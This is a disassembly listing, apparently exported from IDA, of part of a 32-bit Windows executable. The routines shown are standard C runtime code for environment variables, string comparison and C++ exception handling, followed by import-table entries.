; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]


loc_421BE7:				; CODE XREF: sub_4219AF+224j
		cmp	edi, ebx
		jz	short loc_421C18
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		call	dword_423164	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_421C18
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_423008	; CompareStringW
		jmp	short loc_421C1A
; ---------------------------------------------------------------------------


loc_421C18:				; CODE XREF: sub_4219AF+63j
					; sub_4219AF+C6j ...
		xor	eax, eax


loc_421C1A:				; CODE XREF: sub_4219AF+BFj
					; sub_4219AF+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4219AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421C2C	proc near		; CODE XREF: sub_421941+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_421C90
		push	3Dh
		push	[ebp+arg_0]
		call	sub_421E72
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_421C90
		cmp	[ebp+arg_0], esi
		jz	short loc_421C90
		mov	eax, dword_4D86F8
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, dword_4D86FC
		jnz	short loc_421C76
		push	eax
		call	sub_421E0B
		pop	ecx
		mov	dword_4D86F8, eax


loc_421C76:				; CODE XREF: sub_421C2C+3Cj
		cmp	eax, edi
		jnz	short loc_421CCE
		cmp	[ebp+arg_4], edi
		jz	short loc_421C98
		cmp	dword_4D8700, edi
		jz	short loc_421C98
		call	sub_421941
		test	eax, eax
		jz	short loc_421CCE


loc_421C90:				; CODE XREF: sub_421C2C+Dj
					; sub_421C2C+22j ...
		or	eax, 0FFFFFFFFh


loc_421C93:				; CODE XREF: sub_421C2C+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_421C98:				; CODE XREF: sub_421C2C+51j
					; sub_421C2C+59j
		cmp	ebx, edi
		jnz	loc_421DAC
		push	4
		call	sub_417A2B
		cmp	eax, edi
		pop	ecx
		mov	dword_4D86F8, eax
		jz	short loc_421C90
		mov	[eax], edi
		cmp	dword_4D8700, edi
		jnz	short loc_421CCE
		push	4
		call	sub_417A2B
		cmp	eax, edi
		pop	ecx
		mov	dword_4D8700, eax
		jz	short loc_421C90
		mov	[eax], edi


loc_421CCE:				; CODE XREF: sub_421C2C+4Cj
					; sub_421C2C+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, dword_4D86F8
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_421DB3
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_421D2E
		cmp	dword ptr [edi], 0
		jz	short loc_421D2E
		test	ebx, ebx
		jz	short loc_421D26
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_4177C1
		pop	ecx


loc_421D00:				; CODE XREF: sub_421C2C+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_421D10
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_421D00
; ---------------------------------------------------------------------------


loc_421D10:				; CODE XREF: sub_421C2C+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_4178D8
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_421D60
		jmp	short loc_421D5B
; ---------------------------------------------------------------------------


loc_421D26:				; CODE XREF: sub_421C2C+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_421D60
; ---------------------------------------------------------------------------


loc_421D2E:				; CODE XREF: sub_421C2C+BDj
					; sub_421C2C+C2j
		test	ebx, ebx
		jnz	short loc_421DAC
		test	esi, esi
		jge	short loc_421D38
		neg	esi


loc_421D38:				; CODE XREF: sub_421C2C+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_4178D8
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_421C90
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0


loc_421D5B:				; CODE XREF: sub_421C2C+F8j
		mov	dword_4D86F8, eax


loc_421D60:				; CODE XREF: sub_421C2C+F6j
					; sub_421C2C+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_421DAC
		push	[ebp+arg_0]
		call	sub_4176F0
		inc	eax
		inc	eax
		push	eax
		call	sub_417A2B
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_421DAC
		push	[ebp+arg_0]
		push	esi
		call	sub_4183B0
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		call	dword_423004	; SetEnvironmentVariableA
		push	esi
		call	sub_4177C1
		pop	ecx


loc_421DAC:				; CODE XREF: sub_421C2C+6Ej
					; sub_421C2C+104j ...
		xor	eax, eax
		jmp	loc_421C93
sub_421C2C	endp


; =============== S U B	R O U T	I N E =======================================



sub_421DB3	proc near		; CODE XREF: sub_421C2C+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, dword_4D86F8
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_421DEE
		mov	edi, [esp+8+arg_4]


loc_421DC5:				; CODE XREF: sub_421DB3+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_421902
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421DE4
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_421DFE
		test	al, al
		jz	short loc_421DFE


loc_421DE4:				; CODE XREF: sub_421DB3+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_421DC5


loc_421DEE:				; CODE XREF: sub_421DB3+Cj
		mov	eax, esi
		sub	eax, dword_4D86F8
		sar	eax, 2
		neg	eax


loc_421DFB:				; CODE XREF: sub_421DB3+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_421DFE:				; CODE XREF: sub_421DB3+2Bj
					; sub_421DB3+2Fj
		mov	eax, esi
		sub	eax, dword_4D86F8
		sar	eax, 2
		jmp	short loc_421DFB
sub_421DB3	endp


; =============== S U B	R O U T	I N E =======================================



sub_421E0B	proc near		; CODE XREF: sub_421C2C+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_421E1A
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_421E1A:				; CODE XREF: sub_421E0B+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_421E2C


loc_421E22:				; CODE XREF: sub_421E0B+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_421E22


loc_421E2C:				; CODE XREF: sub_421E0B+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_417A2B
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_421E4D
		push	9
		call	sub_419D79
		pop	ecx


loc_421E4D:				; CODE XREF: sub_421E0B+38j
		mov	eax, [edi]
		mov	ebx, edi


loc_421E51:				; CODE XREF: sub_421E0B+5Bj
		test	eax, eax
		jz	short loc_421E68
		push	eax
		add	ebx, 4
		call	sub_421EE5
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_421E51
; ---------------------------------------------------------------------------


loc_421E68:				; CODE XREF: sub_421E0B+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_421E0B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421E72	proc near		; CODE XREF: sub_421C2C+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	dword_4D9B3C, 0
		jnz	short loc_421E8D
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4184B0
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421E8D:				; CODE XREF: sub_421E72+Aj
		mov	ecx, [ebp+arg_0]


loc_421E90:				; CODE XREF: sub_421E72+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_421ED3
		movzx	edx, al
		test	byte_4D9C41[edx], 4
		jz	short loc_421EBF
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_421ECA
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_421ECE
		jmp	short loc_421EC7
; ---------------------------------------------------------------------------


loc_421EBF:				; CODE XREF: sub_421E72+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_421ED3


loc_421EC7:				; CODE XREF: sub_421E72+4Bj
		inc	ecx
		jmp	short loc_421E90
; ---------------------------------------------------------------------------


loc_421ECA:				; CODE XREF: sub_421E72+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421ECE:				; CODE XREF: sub_421E72+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421ED3:				; CODE XREF: sub_421E72+25j
					; sub_421E72+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_421E72	endp


; =============== S U B	R O U T	I N E =======================================



sub_421EE5	proc near		; CODE XREF: sub_414FC3+21p
					; sub_421E0B+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_421F0C
		push	esi
		call	sub_4176F0
		inc	eax
		push	eax
		call	sub_417A2B
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_421F0C
		push	esi
		push	eax
		call	sub_4183B0
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_421F0C:				; CODE XREF: sub_421EE5+7j
					; sub_421EE5+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_421EE5	endp


; =============== S U B	R O U T	I N E =======================================



sub_421F10	proc near		; CODE XREF: sub_40C5BB+15p
					; sub_40C614+15p ...
		mov	eax, offset loc_422408
		call	sub_419164
		sub	esp, 30h
		mov	al, [ebp-0Dh]
		push	esi
		push	0
		lea	ecx, [ebp-20h]
		mov	[ebp-20h], al
		call	sub_40C7BE
		mov	esi, offset aStringTooLong ; "string too long"
		push	esi
		call	sub_4176F0
		pop	ecx
		push	eax
		push	esi
		lea	ecx, [ebp-20h]
		call	sub_40C7FA
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_421F6A
		lea	eax, [ebp-3Ch]
		push	offset dword_424010
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_423CCC
		call	sub_422371
		pop	esi
sub_421F10	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_421F6A	proc near		; CODE XREF: sub_421F10+3Fp
					; sub_42213C+3Fp
		mov	eax, offset loc_42241C
		call	sub_419164
		push	ecx
		push	ecx
		push	ebx
		push	esi
		lea	eax, [ebp-10h]
		push	edi
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset byte_43B9B8
		call	sub_422296
		mov	ebx, [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	edi, [esi+0Ch]
		push	0
		mov	al, [ebx]
		mov	ecx, edi
		mov	[edi], al
		call	sub_40C7BE
		push	dword_423680
		mov	ecx, edi
		push	0
		push	ebx
		call	sub_40C66B
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_423CEC
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
sub_421F6A	endp


; =============== S U B	R O U T	I N E =======================================



sub_421FCE	proc near		; DATA XREF: nsp0:00423CD0o
					; nsp0:00423CF0o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_421FDA
		mov	eax, offset dword_423690

locret_421FDA:				; CODE XREF: sub_421FCE+5j
		retn
sub_421FCE	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp-1Ch]
		call	sub_422051
		lea	eax, [ebp-1Ch]
		push	offset dword_424080
		push	eax
		call	sub_422371

; =============== S U B	R O U T	I N E =======================================



sub_421FF8	proc near		; CODE XREF: nsp0:00422038p
					; DATA XREF: nsp0:00424084o
		mov	eax, offset loc_422430
		call	sub_419164
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_423CEC
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_40C7BE
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_42231D
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_421FF8	endp

; ---------------------------------------------------------------------------


loc_422035:				; DATA XREF: nsp0:off_423CECo
		push	esi
		mov	esi, ecx
		call	sub_421FF8
		test	byte ptr [esp+8], 1
		jz	short loc_42204B
		push	esi
		call	sub_419183
		pop	ecx


loc_42204B:				; CODE XREF: nsp0:00422042j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_422051	proc near		; CODE XREF: nsp0:00421FE5p
					; sub_422124+7p ...
		mov	eax, offset loc_422444
		call	sub_419164
		push	ecx
		push	ebx
		mov	ebx, [ebp+8]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		mov	[ebp-10h], esi
		call	sub_4222D3
		mov	al, [ebx+0Ch]
		and	dword ptr [ebp-4], 0
		add	ebx, 0Ch
		lea	edi, [esi+0Ch]
		push	0
		mov	ecx, edi
		mov	[edi], al
		call	sub_40C7BE
		push	dword_423680
		mov	ecx, edi
		push	0
		push	ebx
		call	sub_40C66B
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_423CEC
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
sub_422051	endp


; =============== S U B	R O U T	I N E =======================================



sub_4220AE	proc near		; CODE XREF: nsp0:0042210Bp
					; DATA XREF: nsp0:00424014o
		mov	eax, offset loc_422458
		call	sub_419164
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_423CEC
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_40C7BE
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_42231D
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_4220AE	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp-1Ch]
		call	sub_422124
		lea	eax, [ebp-1Ch]
		push	offset dword_424010
		push	eax
		call	sub_422371


loc_422108:				; DATA XREF: nsp0:off_423CCCo
		push	esi
		mov	esi, ecx
		call	sub_4220AE
		test	byte ptr [esp+8], 1
		jz	short loc_42211E
		push	esi
		call	sub_419183
		pop	ecx


loc_42211E:				; CODE XREF: nsp0:00422115j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_422124	proc near		; CODE XREF: nsp0:004220F5p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_422051
		mov	dword ptr [esi], offset	off_423CCC
		mov	eax, esi
		pop	esi
		retn	4
sub_422124	endp


; =============== S U B	R O U T	I N E =======================================



sub_42213C	proc near		; CODE XREF: sub_40C66B+13p
					; sub_40C82F+Ep
		mov	eax, offset loc_42246C
		call	sub_419164
		sub	esp, 30h
		mov	al, [ebp-0Dh]
		push	esi
		push	0
		lea	ecx, [ebp-20h]
		mov	[ebp-20h], al
		call	sub_40C7BE
		mov	esi, offset aInvalidStringP ; "invalid string position"
		push	esi
		call	sub_4176F0
		pop	ecx
		push	eax
		push	esi
		lea	ecx, [ebp-20h]
		call	sub_40C7FA
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_421F6A
		lea	eax, [ebp-3Ch]
		push	offset dword_424138
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_423CFC
		call	sub_422371
		pop	esi
sub_42213C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_422196	proc near		; CODE XREF: sub_4221D3+20p
					; DATA XREF: nsp0:0042413Co
		mov	eax, offset loc_422480
		call	sub_419164
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_423CEC
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_40C7BE
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_42231D
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_422196	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4221D3	proc near		; DATA XREF: nsp0:00423D04o

var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_42220C
		lea	eax, [ebp+var_1C]
		push	offset dword_424138
		push	eax
		call	sub_422371


loc_4221F0:				; DATA XREF: nsp0:off_423CFCo
		push	esi
		mov	esi, ecx
		call	sub_422196
		test	[esp+20h+var_18], 1
		jz	short loc_422206
		push	esi
		call	sub_419183
		pop	ecx


loc_422206:				; CODE XREF: sub_4221D3+2Aj
		mov	eax, esi
		pop	esi
		retn	4
sub_4221D3	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42220C	proc near		; CODE XREF: sub_4221D3+Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_422051
		mov	dword ptr [esi], offset	off_423CFC
		mov	eax, esi
		pop	esi
		retn	4
sub_42220C	endp


; =============== S U B	R O U T	I N E =======================================



sub_422224	proc near		; DATA XREF: nsp0:00425014o

; FUNCTION CHUNK AT 0042225A SIZE 0000000C BYTES

		test	byte_4D89DC, 1
		jnz	short loc_422234
		or	byte_4D89DC, 1


loc_422234:				; CODE XREF: sub_422224+7j
		call	sub_42224E
		test	byte_4D9D78, 1
		jnz	short loc_422249
		or	byte_4D9D78, 1


loc_422249:				; CODE XREF: sub_422224+1Cj
		jmp	loc_42225A
sub_422224	endp


; =============== S U B	R O U T	I N E =======================================



sub_42224E	proc near		; CODE XREF: sub_422224:loc_422234p
		push	offset nullsub_1
		call	sub_419540
		pop	ecx
		retn
sub_42224E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_422224


loc_42225A:				; CODE XREF: sub_422224:loc_422249j
		push	offset nullsub_1
		call	sub_419540
		pop	ecx
		retn
; END OF FUNCTION CHUNK	FOR sub_422224
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_422268	proc near		; CODE XREF: sub_40CAA5+6Cp
		jmp	dword_4231BC
sub_422268	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42226E	proc near		; CODE XREF: sub_40BF41+5Ep
					; sub_40DA9B+14Ap ...
		jmp	dword_423210
sub_42226E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_422274	proc near		; CODE XREF: sub_418DD0+23p
					; sub_419074+13p
		jmp	dword_423184
sub_422274	endp


; =============== S U B	R O U T	I N E =======================================



sub_42227A	proc near		; DATA XREF: nsp0:off_423D24o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_42231D
		test	[esp+4+arg_0], 1
		jz	short loc_422290
		push	esi
		call	sub_419183
		pop	ecx


loc_422290:				; CODE XREF: sub_42227A+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42227A	endp


; =============== S U B	R O U T	I N E =======================================



sub_422296	proc near		; CODE XREF: sub_421F6A+1Fp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_423D24
		push	dword ptr [edi]
		call	sub_4176F0
		inc	eax
		push	eax
		call	sub_4194C5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_4222C5
		push	dword ptr [edi]
		push	eax
		call	sub_4183B0
		pop	ecx
		pop	ecx


loc_4222C5:				; CODE XREF: sub_422296+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_422296	endp


; =============== S U B	R O U T	I N E =======================================



sub_4222D3	proc near		; CODE XREF: sub_422051+17p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_423D24
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_422310
		push	dword ptr [edi+4]
		call	sub_4176F0
		inc	eax
		push	eax
		call	sub_4194C5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_422316
		push	dword ptr [edi+4]
		push	eax
		call	sub_4183B0
		pop	ecx
		pop	ecx
		jmp	short loc_422316
; ---------------------------------------------------------------------------


loc_422310:				; CODE XREF: sub_4222D3+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax


loc_422316:				; CODE XREF: sub_4222D3+2Ej
					; sub_4222D3+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_4222D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_42231D	proc near		; CODE XREF: sub_421FF8+2Bp
					; sub_4220AE+2Bp ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_423D24
		jz	short locret_422332
		push	dword ptr [ecx+4]
		call	sub_419183
		pop	ecx

locret_422332:				; CODE XREF: sub_42231D+Aj
		retn
sub_42231D	endp


; =============== S U B	R O U T	I N E =======================================



sub_422333	proc near		; DATA XREF: nsp0:00423D28o
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_42233F
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_42233F:				; CODE XREF: sub_422333+5j
		retn
sub_422333	endp


; =============== S U B	R O U T	I N E =======================================



sub_422340	proc near		; CODE XREF: nsp0:00422358p
		mov	dword ptr [ecx], offset	off_423D44
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_422354
		push	ecx
		call	sub_4177C1
		pop	ecx

locret_422354:				; CODE XREF: sub_422340+Bj
		retn
sub_422340	endp

; ---------------------------------------------------------------------------


loc_422355:				; DATA XREF: nsp0:off_423D44o
		push	esi
		mov	esi, ecx
		call	sub_422340
		test	byte ptr [esp+8], 1
		jz	short loc_42236B
		push	esi
		call	sub_419183
		pop	ecx


loc_42236B:				; CODE XREF: nsp0:00422362j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422371	proc near		; CODE XREF: sub_421F10+54p
					; nsp0:00421FF3p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_423D48
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		call	dword_42305C	; RaiseException
		pop	edi
		pop	esi
		leave
		retn	8
sub_422371	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4223AC	proc near		; DATA XREF: nsp0:00423F14o

; FUNCTION CHUNK AT 0040C5B3 SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_40C5B3
sub_4223AC	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_4223CA
		mov	ecx, [ebp+8]
		jmp	loc_40C5B3
; ---------------------------------------------------------------------------

locret_4223CA:				; CODE XREF: nsp0:004223BCj
		retn
; ---------------------------------------------------------------------------


loc_4223CB:				; DATA XREF: sub_40C17Do
		mov	eax, offset dword_423EE8
		jmp	loc_418E1F
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp+14h]
		jmp	loc_40C5B3
; ---------------------------------------------------------------------------


loc_4223E0:				; DATA XREF: nsp0:00423F44o
		lea	ecx, [ebp-1Ch]
		jmp	loc_40C5B3
; ---------------------------------------------------------------------------


loc_4223E8:				; DATA XREF: sub_40C31Fo
		mov	eax, offset dword_423F18
		jmp	loc_418E1F
; ---------------------------------------------------------------------------
		align 4


loc_4223F4:				; DATA XREF: sub_40C896o
		mov	eax, offset dword_423F48
		jmp	loc_418E1F
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-20h]
		jmp	loc_40C5B3
; ---------------------------------------------------------------------------


loc_422408:				; DATA XREF: sub_421F10o
		mov	eax, offset dword_424020
		jmp	loc_418E1F
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-14h]
		jmp	sub_42231D
; ---------------------------------------------------------------------------


loc_42241C:				; DATA XREF: sub_421F6Ao
		mov	eax, offset dword_424048
		jmp	loc_418E1F
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_42231D
; ---------------------------------------------------------------------------


loc_422430:				; DATA XREF: sub_421FF8o
		mov	eax, offset dword_424090
		jmp	loc_418E1F
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_42231D
; ---------------------------------------------------------------------------


loc_422444:				; DATA XREF: sub_422051o
		mov	eax, offset dword_4240B8
		jmp	loc_418E1F
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_42231D
; ---------------------------------------------------------------------------


loc_422458:				; DATA XREF: sub_4220AEo
		mov	eax, offset dword_4240E0
		jmp	loc_418E1F
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp-20h]
		jmp	loc_40C5B3
; ---------------------------------------------------------------------------


loc_42246C:				; DATA XREF: sub_42213Co
		mov	eax, offset dword_424148
		jmp	loc_418E1F
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_42231D
; ---------------------------------------------------------------------------


loc_422480:				; DATA XREF: sub_422196o
		mov	eax, offset dword_424170
		jmp	loc_418E1F
; ---------------------------------------------------------------------------
		align 4
		dd 2DDh	dup(0)
dword_423000	dd 77E79424h		; DATA XREF: sub_40EA69+27Br
dword_423004	dd 77E6BD68h		; DATA XREF: sub_421C2C+173r
dword_423008	dd 77E77F2Eh		; DATA XREF: sub_4219AF+3Er
					; sub_4219AF+261r
dword_42300C	dd 77E762D0h		; DATA XREF: sub_4219AF+5Br
					; sub_4219AF+B9r
dword_423010	dd 77E70192h		; DATA XREF: sub_4209B6+F9r
dword_423014	dd 77E7176Ch		; DATA XREF: sub_420288+8r
dword_423018	dd 77E7339Ch		; DATA XREF: sub_420250+Cr
dword_42301C	dd 77E7C9E7h		; DATA XREF: sub_420232+5r
					; sub_420243+6r
dword_423020	dd 77E7C866h		; DATA XREF: sub_41F7CD+3Fr
					; sub_41F7CD+12Dr
dword_423024	dd 77E641EBh		; DATA XREF: sub_41F7CD+59r
					; sub_41F7CD+8Dr
dword_423028	dd 77E73FF9h		; DATA XREF: sub_41F213+2Cr
dword_42302C	dd 77E7FF2Eh		; DATA XREF: sub_41F0E5:loc_41F135r
					; sub_41F15C:loc_41F1AFr
dword_423030	dd 77E78406h		; DATA XREF: sub_41EC38+FFr
					; sub_41EC38+166r ...
dword_423034	dd 77E79C3Dh		; DATA XREF: sub_41EC38+158r
					; sub_41EEFD+143r
